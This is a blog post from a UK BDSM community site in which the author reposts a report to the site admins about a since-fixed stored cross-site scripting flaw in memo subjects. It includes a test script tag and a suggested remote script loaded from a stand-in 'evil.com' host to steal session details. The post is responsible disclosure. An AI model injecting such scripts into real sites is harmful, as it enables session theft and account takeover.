You are viewing IC as Guest    
Why not the site? It's free!
   
If you're already a member, it's better if you

Security issue? (0)

sadistical's profile . sadistical's homepage

Posted by sadistical on Tue 1 Feb 05, 7:56 PM to sadistical's blog.

Seems like I can't stop doing security work even in my "time off". Here's a (fixed) security issue I reported to the site admins yesterday.

Kudos on them for fixing it so promptly and running such a good site...

----

Whilst experimenting with sending messages to people and myself I couldn't help noticing a security problem in your current memo implimentation.

Rather than abuse it I'm reporting it so that you can fix it.

Simply put you filter javscript from the body of memos, but not from the subjects - this means that I can send a malicious memo to a user, and when they view their memo page javascript can automatically execute.

To test this for yourself simply send a memo to a user (such as yourself):

Subject: <script>alert(1);</script> Body: <script>alert(2);</script>

You will see that when the memos page is loaded the script is automatically executed from the subject.

I suspect that the lenght is boundschecked - but I imagine a suitably evil piece of code could be included with:

<script src="http:/evil.com/blah.js">

This could redirect to the chage password page, or log the session details.

This is the standard version
©1997-2012 Informed Consent
UK map

UK Map

UK listings
Clubs
Munches
Groups
Dungeon Hire
Services
Kink-friendly
Shops
Other countries
Dictionary
BDSM
Fetish
Top
Bottom
Bondage
Dominant
Submissive
RACK vs SSC
Top Pictures
Rate the pictures

Top BDSM Books
The Story of O
Showing you the Ropes
Female Domination
The Ethical Slut
The Human Pony

More sites
IC's advertisers
BDSM Rights
Kink.com
Kink Podcasts
The Slave Register
Ownership & Possession

Help & About IC